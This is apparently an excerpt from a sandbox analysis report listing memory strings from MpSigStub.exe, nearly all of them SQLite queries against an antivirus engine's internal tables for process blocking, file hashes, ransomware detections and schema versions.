        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT Key, Name, Capacity, TimeToLive, Mode FROM RollingQueuesTables WHERE Key = ?;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: INSERT INTO BmFileStartupActions(FilePathHash, FilePath, ActionFlags, ProcessStartCount, FdrFlags, FdrThreatRecordId, EvaluatorThreatRecordId, TrustedInstallerThreatRecordId, LFRThreatRecordId) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?);
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: INSERT INTO BmFileActions(FileInfoId, ThreatRecordId, Action) VALUES (?, ?, ?);
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: UPDATE SQLiteGlobals SET Current = 0 WHERE Current = 1; INSERT INTO SQLiteGlobals(Version, Current, LastUpdated) VALUES(5, 1, date('now'));
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT ID FROM FolderGuardPaths WHERE UserIdHash = ? LIMIT 1;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: INSERT INTO RansomwareDetections(Key, DetectionGuid, LkgTS, NextUSN, DetectionTS, ProvisionalRemedComplTS, RemedComplTS, ImpactedCBPNameSpaces, InstanceTimeStamp) VALUES ( ?, ?, ?, ?, ?, ?, ?, ?, ?);
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: UPDATE SQLiteGlobals SET Current = 0 WHERE Current = 1; INSERT INTO SQLiteGlobals(Version, Current, LastUpdated) VALUES(12, 1, date('now'));
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT CleanFileSha, CleanFileShaHash FROM SystemFileCache WHERE InstanceTimeStamp < ?;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT PersistId, PersistIdBlob, ExpirationDate FROM AmsiFileCache WHERE ExpirationDate < DateTime(?);
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: INSERT INTO DynSigRevisions(Key, SdnRevision, EsuRevision, BFRevision, EntCertRevision, TamperRevision, AGBlobRevision, BFFileAllowRevision, BFFileBlockRevision, BFCertAllowRevision, BFCertBlockRevision) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?);
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT Key, RecordTimeStamp, Generation FROM RecordIdentifier WHERE RecordIdentifier.ID IN (SELECT FileInstance.RecordID from FileInstance WHERE FileInstance.ParentRecordID = ? );
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT RuleAction, RuleId, IsAudit, IsInherited, State FROM BmHipsRuleInfo WHERE ProcessInfoId = ?;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT Key, FirewallRuleName, ExpiryTime FROM NetworkIpFirewallRules WHERE ExpiryTime < ?;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT Count(1) FROM SystemFileCache;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT ProcessPath, TimeStamp, TargetPath, RuleId, IsAudit, Action, ProcessTaintReason, ProcessIntegrity FROM ProcessBlockHistory WHERE ProcessPath = ? ORDER BY TimeStamp DESC LIMIT 1;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: INSERT INTO BmFileInfo(NormalizedPathHash, DosPathHash, StructVersion, NormalizedPath, DosPath, Wow64Context, MetaContext, IsFromWeb, IsExecutable) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?);
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT Count(1) FROM SdnEx;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: UPDATE SQLiteGlobals SET Current = 0 WHERE Current = 1; INSERT INTO SQLiteGlobals(Version, Current, LastUpdated) VALUES(3, 1, date('now'));
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: INSERT INTO FileInstance(InstanceTimeStamp, RecordID, ScanID, TrackingEnabled, StorageEvent, StorageEventState, ModificationsCount, ParentRecordID, Parent_FileEvent, Parent_FileName, Parent_ProcessID, Remote_ProcessID, FileID, FileName, USN, CreateTime, LastAccessTime, LastWriteTime, Signer, SignerHash, Issuer, SigningTime, MOTW, MOTWFromParent,IsValidCert, CertInvalidDetails, IsCatalogSigned) VALUES(?, ? , ?, ?, ?, ? , ? , ? , ? , ? , ?, ?, ?, ?, ?, ? , ? , ? , ? , ? , ?, ?, ?, ?, ?, ?, ?);
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT EntryTable, EntryKey, EntryValue, InsertTime, ExpireTime FROM RollingQueuesValues WHERE EntryTable = ?;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT Version, Current, LastUpdated FROM SQLiteGlobals WHERE Current = 1 ORDER BY Version DESC ;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT ID FROM AmsiFileCache WHERE AmsiFileCache.PersistId = ?;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: INSERT INTO AttributeCounts(Key, Name, Count, InsertTime, ExpireTime) VALUES(? , ? , ? , ? , ?);
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: UPDATE SQLiteGlobals SET Current = 0 WHERE Current = 1; INSERT INTO SQLiteGlobals(Version, Current, LastUpdated) VALUES(28, 1, date('now'));
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: INSERT INTO AttributePersistContext(Key, FilePath, Context, InsertTime, ExpireTime) VALUES(? , ? , ? , ? , ?);
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT ID from File WHERE SHA1 = ? ;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: INSERT INTO ScanInfo(SigSeq, PersistSigSeq, ProgenitorPersistSigSeq, ScanAgent, NamedAttributes, PeAttributes, SigAttrEvents, ScanReason, WebURL, EngineID, SigSha) VALUES(? , ? , ? , ? , ? , ? , ? , ? , ? , ? , ? );
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT COUNT(DISTINCT ProcessPath) FROM ProcessBlockHistory;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT ID FROM Engine WHERE EngineVersion = ? AND SigVersion = ? ;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: INSERT INTO AmsiFileCache(PersistId, PersistIdBlob, ExpirationDate) VALUES (?, ?, DateTime('now', ?));
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT COUNT(1) FROM AttributePersistContext;
        Source: MpSigStub.exe, 00000023.00000003.18262597335.0000015B0C754000.00000004.00000001.sdmpBinary or memory string: SELECT ID FROM SdnEx WHERE SdnEx.Key = ?;SELECT Key, CurrentCount FROM SdnEx WHERE Key = ?DELETE FROM SdnEx WHERE SdnEx.Key = ?;SELECT Count(1) FROM SdnEx;INSERT INTO SdnEx(Key, CurrentCount) VALUES (?, ?);DELETE FROM SdnEx;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT Count(1) FROM SystemRegistryCache;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: UPDATE SQLiteGlobals SET Current = 0 WHERE Current = 1; INSERT INTO SQLiteGlobals(Version, Current, LastUpdated) VALUES(24, 1, date('now'));
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT ID, NormalizedPathHash, DosPathHash, StructVersion, NormalizedPath, DosPath, Wow64Context, MetaContext, IsFromWeb, IsExecutable FROM BmFileInfo WHERE NormalizedPathHash = ? OR DosPathHash = ?;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: UPDATE SQLiteGlobals SET Current = 0 WHERE Current = 1; INSERT INTO SQLiteGlobals(Version, Current, LastUpdated) VALUES(11, 1, date('now'));
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: UPDATE SQLiteGlobals SET Current = 0 WHERE Current = 1; INSERT INTO SQLiteGlobals(Version, Current, LastUpdated) VALUES(31, 1, date('now'));
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: INSERT INTO DynSigRevisions(Key, SdnRevision, EsuRevision, BFRevision, EntCertRevision, TamperRevision, AGBlobRevision, BFFileAllowRevision, BFFileBlockRevision, BFCertAllowRevision, BFCertBlockRevision) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?);SELECT Count(1) FROM DynSigRevisions;DELETE FROM DynSigRevisions WHERE DynSigRevisions.Key = ?;SELECT Key, SdnRevision, EsuRevision, BFRevision, EntCertRevision, TamperRevision, AGBlobRevision, BFFileAllowRevision, BFFileBlockRevision, BFCertAllowRevision, BFCertBlockRevision FROM DynSigRevisions WHERE Key = ?SELECT ID FROM DynSigRevisions WHERE DynSigRevisions.Key = ?;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT ID FROM BmFileInfo WHERE NormalizedPathHash = ? OR DosPathHash = ?;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT InfectedFileSHA, ProcFileId, SystemFilePath, CleanFileSha FROM SystemFileCache WHERE InfectedFileSHAHash = ? OR ProcFileIDSystemFileHash = ? ORDER BY InstanceTimeStamp DESC;
        Source: MpSigStub.exe, 00000023.00000003.18242976274.0000015B0B50C000.00000004.00000001.sdmpBinary or memory string: SELECT 1 FROM SQLITE_MASTER WHERE type=? AND name=? LIMIT 1;Engine.MetaStore.DBVaultUtilizationMpDisableTaskSchedCmdLineScanMb=Lk
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT t1.ProcessPath, t1.TimeStamp, t1.TargetPath, t1.RuleId, t1.IsAudit, t1.Action, t1.ProcessTaintReason, t1.ProcessIntegrity FROM ProcessBlockHistory AS t1 INNER JOIN(SELECT ID, ProcessPath, MAX(TimeStamp) AS MostRecentTime FROM ProcessBlockHistory GROUP BY ProcessPath) AS t2 ON t1.ID = t2.ID AND t1.TimeStamp = t2.MostRecentTime ORDER BY t1.TimeStamp DESC;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT ID FROM AutoFeatureControl WHERE AutoFeatureControl.Key = ?;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: INSERT INTO AnomalyTables(Key, TableKey, TableName, KeyName, FirstSeen, LastSeen, UnbiasedMinutes, Value, Order_) VALUES(? , ? , ? , ? , ? , ? , ? , ? , ?);
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: INSERT INTO SystemFileCache(InfectedFileSHAHash, InfectedFileSHA, ProcFileIDSystemFileHash, ProcFileId, SystemFilePath, CleanFileSha, CleanFileShaHash, InstanceTimeStamp) VALUES ( ?, ?, ?, ?, ?, ?, ?, ?);
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: UPDATE SQLiteGlobals SET Current = 0 WHERE Current = 1; INSERT INTO SQLiteGlobals(Version, Current, LastUpdated) VALUES(16, 1, date('now'));
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: UPDATE SQLiteGlobals SET Current = 0 WHERE Current = 1; INSERT INTO SQLiteGlobals(Version, Current, LastUpdated) VALUES(8, 1, date('now'));
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: UPDATE SQLiteGlobals SET Current = 0 WHERE Current = 1; INSERT INTO SQLiteGlobals(Version, Current, LastUpdated) VALUES(26, 1, date('now'));
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT Key, TableKey, TableName, KeyName, FirstSeen, LastSeen, UnbiasedMinutes, Value, Order_ FROM AnomalyTables WHERE AnomalyTables.TableKey = ?;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT COUNT(1) FROM AnomalyTables;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT Key FROM FileLowFiAsync WHERE FileLowFiAsync.Key = ?; SELECT Key, FileName, SigSeq, SigSha, SigIsSync, InstanceTimeStamp FROM FileLowFiAsync WHERE Key = ?; SELECT COUNT(1) FROM FileLowFiAsync; DELETE FROM FileLowFiAsync WHERE FileLowFiAsync.Key = ?; DELETE FROM FileLowFiAsync WHERE InstanceTimeStamp < ?; INSERT INTO FileLowFiAsync(Key, FileName, SigSeq, SigSha, SigIsSync, InstanceTimeStamp) VALUES(?, ? , ? , ? , ? , ?);
        Source: MpSigStub.exe, 00000023.00000003.18262597335.0000015B0C754000.00000004.00000001.sdmpBinary or memory string: SELECT COUNT(1) FROM FileHashes; DELETE FROM FileHashes WHERE FileHashes.Key = ?; DELETE FROM FileHashes WHERE InstanceTimeStamp < ?; INSERT INTO FileHashes(Key, VSN, FileID, USN, InstanceTimeStamp, SHA1, MD5, SHA256, LSHASH, LSHASHS, CTPH, PartialCRC1, PartialCRC2, PartialCRC3, KCRC1, KCRC2, KCRC3, KCRC3n) VALUES(?, ? , ? , ? , ? , ? , ? , ? , ? , ? , ? , ? , ? , ? , ? , ? , ? , ?);SELECT Key FROM FileHashes WHERE FileHashes.Key = ?; SELECT Key, VSN, FileID, USN, InstanceTimeStamp, SHA1, MD5, SHA256, LSHASH, LSHASHS, CTPH, PartialCRC1, PartialCRC2, PartialCRC3, KCRC1, KCRC2, KCRC3, KCRC3n FROM FileHashes WHERE Key = ?; SELECT Key FROM FileHashes ORDER BY InstanceTimeStamp ASC LIMIT 1
        Source: MpSigStub.exe, 00000023.00000003.18262597335.0000015B0C754000.00000004.00000001.sdmpBinary or memory string: INSERT INTO SQLiteGlobals(Version, Current, LastUpdated) VALUES(30, 1, date('now'));
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT Count(DISTINCT UserIdHash) FROM FolderGuardPaths;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT ID, PPIDHash, ProcessStartTime, PID, StructVersion, ImageFileName, MonitoringFlags_Flags, MonitoringFlags_VmHardenType, MonitoringFlags_ExemptVmHardenedTypes, CommandLineArgs, HipsInjectionId, FolderGuardId, Flags, LsassReadMemId, MonitoringFlags_Flags2Low, MonitoringFlags_Flags2High FROM BmProcessInfo WHERE PPIDHash = ?;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: INSERT INTO AutoFeatureControl(Key, CurrCount, MaxCount, InstanceTimeStamp) VALUES (?, ?, ?, ?);
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT Key FROM AtomicCounters ORDER BY InsertTime ASC LIMIT 1;
        Source: MpSigStub.exe, 00000023.00000003.18262597335.0000015B0C754000.00000004.00000001.sdmpBinary or memory string: INSERT INTO AtomicCounters(Key, Name, Count, InsertTime, ExpireTime) VALUES(? , ? , ? , ? , ?);
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: UPDATE SQLiteGlobals SET Current = 0 WHERE Current = 1; INSERT INTO SQLiteGlobals(Version, Current, LastUpdated) VALUES(20, 1, date('now'));
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT PersistId, PersistIdBlob, ExpirationDate FROM AmsiFileCache WHERE PersistId = ?;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: INSERT INTO SQLiteGlobals(Version, Current, LastUpdated) VALUES(31, 1, date('now'));
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT Key FROM AtomicCounters WHERE AtomicCounters.Key = ?;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: UPDATE SQLiteGlobals SET Current = 0 WHERE Current = 1; INSERT INTO SQLiteGlobals(Version, Current, LastUpdated) VALUES(18, 1, date('now'));
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT ID FROM BmProcessInfo WHERE PPIDHash = ?;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT COUNT(1) FROM AnomalyInfo;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT ValueMapArrayBlob FROM ValueMapArray WHERE Key = ? AND RecordType = ?;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT ID FROM SystemFileCache WHERE InfectedFileSHAHash = ? OR ProcFileIDSystemFileHash = ?;
        Source: MpSigStub.exe, 00000023.00000003.18262597335.0000015B0C754000.00000004.00000001.sdmpBinary or memory string: SELECT Key FROM AttributeCounts WHERE AttributeCounts.Key = ?;
        Source: MpSigStub.exe, 00000023.00000003.18262597335.0000015B0C754000.00000004.00000001.sdmpBinary or memory string: INSERT INTO DynSigRevisions(Key, SdnRevision, EsuRevision, BFRevision, EntCertRevision, TamperRevision, AGBlobRevision, BFFileAllowRevision, BFFileBlockRevision, BFCertAllowRevision, BFCertBlockRevision) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?);DELETE FROM DynSigRevisions WHERE DynSigRevisions.Key = ?;SELECT Key, SdnRevision, EsuRevision, BFRevision, EntCertRevision, TamperRevision, AGBlobRevision, BFFileAllowRevision, BFFileBlockRevision, BFCertAllowRevision, BFCertBlockRevision FROM DynSigRevisions WHERE Key = ?SELECT Count(1) FROM DynSigRevisions;SELECT ID FROM DynSigRevisions WHERE DynSigRevisions.Key = ?;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT Key FROM AttributeCounts ORDER BY InsertTime ASC LIMIT 1;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT t1.ProcessPath, t1.TimeStamp, t1.TargetPath, t1.RuleId, t1.IsAudit, t1.Action, t1.ProcessTaintReason, t1.ProcessIntegrity FROM ProcessBlockHistory AS t1 INNER JOIN(SELECT ID, ProcessPath, MAX(TimeStamp) AS MostRecentTime FROM ProcessBlockHistory WHERE RuleId = ? GROUP BY ProcessPath) AS t2 ON t1.ID = t2.ID AND t1.TimeStamp = t2.MostRecentTime ORDER BY t1.TimeStamp DESC;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT Key FROM ValueMapArray WHERE ValueMapArray.Key = ? AND ValueMapArray.RecordType = ?;
        Source: MpSigStub.exe, 00000023.00000003.18262597335.0000015B0C754000.00000004.00000001.sdmpBinary or memory string: SELECT COUNT(1) FROM AtomicCounters; SELECT Key FROM AtomicCounters ORDER BY InsertTime ASC LIMIT 1; SELECT Key, Name, Count, InsertTime, ExpireTime FROM AtomicCounters WHERE Key = ?; DELETE FROM AtomicCounters; DELETE FROM AtomicCounters WHERE ExpireTime < ?; DELETE FROM AtomicCounters WHERE AtomicCounters.Key = ?; SELECT Key FROM AtomicCounters WHERE AtomicCounters.Key = ?; UPDATE AtomicCounters SET Name = ?, Count = ?, InsertTime = ?, ExpireTime = ? WHERE Key = ?; INSERT INTO AtomicCounters(Key, Name, Count, InsertTime, ExpireTime) VALUES(? , ? , ? , ? , ?);
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: UPDATE SQLiteGlobals SET Current = 0 WHERE Current = 1; INSERT INTO SQLiteGlobals(Version, Current, LastUpdated) VALUES(21, 1, date('now'));
        Source: MpSigStub.exe, 00000023.00000003.18262597335.0000015B0C754000.00000004.00000001.sdmpBinary or memory string: SELECT Key, Name, Count, InsertTime, ExpireTime FROM AtomicCounters WHERE Key = ?;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT Count(1) FROM BmFileInfo;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT COUNT(1) FROM AtomicCounters;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT ThreatRecordId, Action FROM BmFileActions WHERE FileInfoId == ?;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: UPDATE SQLiteGlobals SET Current = 0 WHERE Current = 1; INSERT INTO SQLiteGlobals(Version, Current, LastUpdated) VALUES(17, 1, date('now'));
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: INSERT INTO BmHipsRuleInfo(ProcessInfoId, RuleAction, RuleId, IsAudit, IsInherited, State) VALUES (?, ?, ?, ?, ?, ?);
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: UPDATE AttributePersistContext SET FilePath = ?, Context = ?, InsertTime = ?, ExpireTime = ? WHERE Key = ?;
        Source: MpSigStub.exe, 00000023.00000003.18262597335.0000015B0C754000.00000004.00000001.sdmpBinary or memory string: SELECT ProcessPath, TimeStamp FROM ProcessBlockHistory ORDER BY TimeStamp ASC LIMIT 1REPLACE INTO ProcessBlockHistory(ProcessPath, TimeStamp, TargetPath, RuleId, IsAudit, Action, ProcessTaintReason, ProcessIntegrity) VALUES (?, ?, ?, ?, ?, ?, ?, ?);DELETE FROM ProcessBlockHistory WHERE TimeStamp < ?;SELECT ProcessPath, TimeStamp, TargetPath, RuleId, IsAudit, Action, ProcessTaintReason, ProcessIntegrity FROM ProcessBlockHistory WHERE ProcessPath = ? ORDER BY TimeStamp DESC LIMIT 1;SELECT t1.ProcessPath, t1.TimeStamp, t1.TargetPath, t1.RuleId, t1.IsAudit, t1.Action, t1.ProcessTaintReason, t1.ProcessIntegrity FROM ProcessBlockHistory AS t1 INNER JOIN(SELECT ID, ProcessPath, MAX(TimeStamp) AS MostRecentTime FROM ProcessBlockHistory WHERE RuleId = ? GROUP BY ProcessPath) AS t2 ON t1.ID = t2.ID AND t1.TimeStamp = t2.MostRecentTime ORDER BY t1.TimeStamp DESC;DELETE FROM ProcessBlockHistory;SELECT COUNT(DISTINCT ProcessPath) FROM ProcessBlockHistory;SELECT COUNT(1) FROM ProcessBlockHistory;SELECT ID FROM ProcessBlockHistory WHERE ProcessPath = ?;SELECT t1.ProcessPath, t1.TimeStamp, t1.TargetPath, t1.RuleId, t1.IsAudit, t1.Action, t1.ProcessTaintReason, t1.ProcessIntegrity FROM ProcessBlockHistory AS t1 INNER JOIN(SELECT ID, ProcessPath, MAX(TimeStamp) AS MostRecentTime FROM ProcessBlockHistory GROUP BY ProcessPath) AS t2 ON t1.ID = t2.ID AND t1.TimeStamp = t2.MostRecentTime ORDER BY t1.TimeStamp DESC;DELETE FROM ProcessBlockHistory WHERE ProcessPath = ? AND TimeStamp = ?;SELECT ProcessPath, TimeStamp, TargetPath, RuleId, IsAudit, Action, ProcessTaintReason, ProcessIntegrity FROM ProcessBlockHistory WHERE ProcessPath = ? AND TimeStamp = ? ORDER BY TimeStamp DESC;SELECT ProcessPath, TimeStamp, TargetPath, RuleId, IsAudit, Action, ProcessTaintReason, ProcessIntegrity FROM ProcessBlockHistory ORDER BY TimeStamp DESC;SELECT ProcessPath, TimeStamp, TargetPath, RuleId, IsAudit, Action, ProcessTaintReason, ProcessIntegrity FROM ProcessBlockHistory WHERE ProcessPath = ? ORDER BY TimeStamp DESC;SELECT ProcessPath, TimeStamp, TargetPath, RuleId, IsAudit, Action, ProcessTaintReason, ProcessIntegrity FROM ProcessBlockHistory WHERE RuleId = ? ORDER BY TimeStamp DESC;[3
        Source: MpSigStub.exe, 00000023.00000003.18327831413.0000015B1A891000.00000004.00000001.sdmpBinary or memory string: SELECT information FROM tdata where dataname = '%s' and g_name = '%s';
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: INSERT INTO ProcessInfo(FileName, ProcessId, CommandLine, StartTime, TokenElevation, TokenElevationType, IntegrityLevel) VALUES(? , ? , ? , ? , ? , ? , ? );
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT Key, RecordTimeStamp, Generation FROM RecordIdentifier WHERE ID = ?;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT Key FROM AttributePersistContext WHERE AttributePersistContext.Key = ?;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: UPDATE SQLiteGlobals SET Current = 0 WHERE Current = 1; INSERT INTO SQLiteGlobals(Version, Current, LastUpdated) VALUES(19, 1, date('now'));
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT ID FROM NetworkIpFirewallRules WHERE NetworkIpFirewallRules.Key = ?;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: INSERT INTO BackupProcessInfo(Key, FilePath, FirstStartTime, NextUSN, AutomaticRemovalPolicy, ImpactedCBPNameSpaces, InstanceTimeStamp) VALUES ( ?, ?, ?, ?, ?, ?, ?);
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: UPDATE SQLiteGlobals SET Current = 0 WHERE Current = 1; INSERT INTO SQLiteGlobals(Version, Current, LastUpdated) VALUES(22, 1, date('now'));
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT ID FROM RansomwareDetections WHERE Key = ?;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT ID FROM SdnEx WHERE SdnEx.Key = ?;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: UPDATE SQLiteGlobals SET Current = 0 WHERE Current = 1; INSERT INTO SQLiteGlobals(Version, Current, LastUpdated) VALUES(29, 1, date('now'));
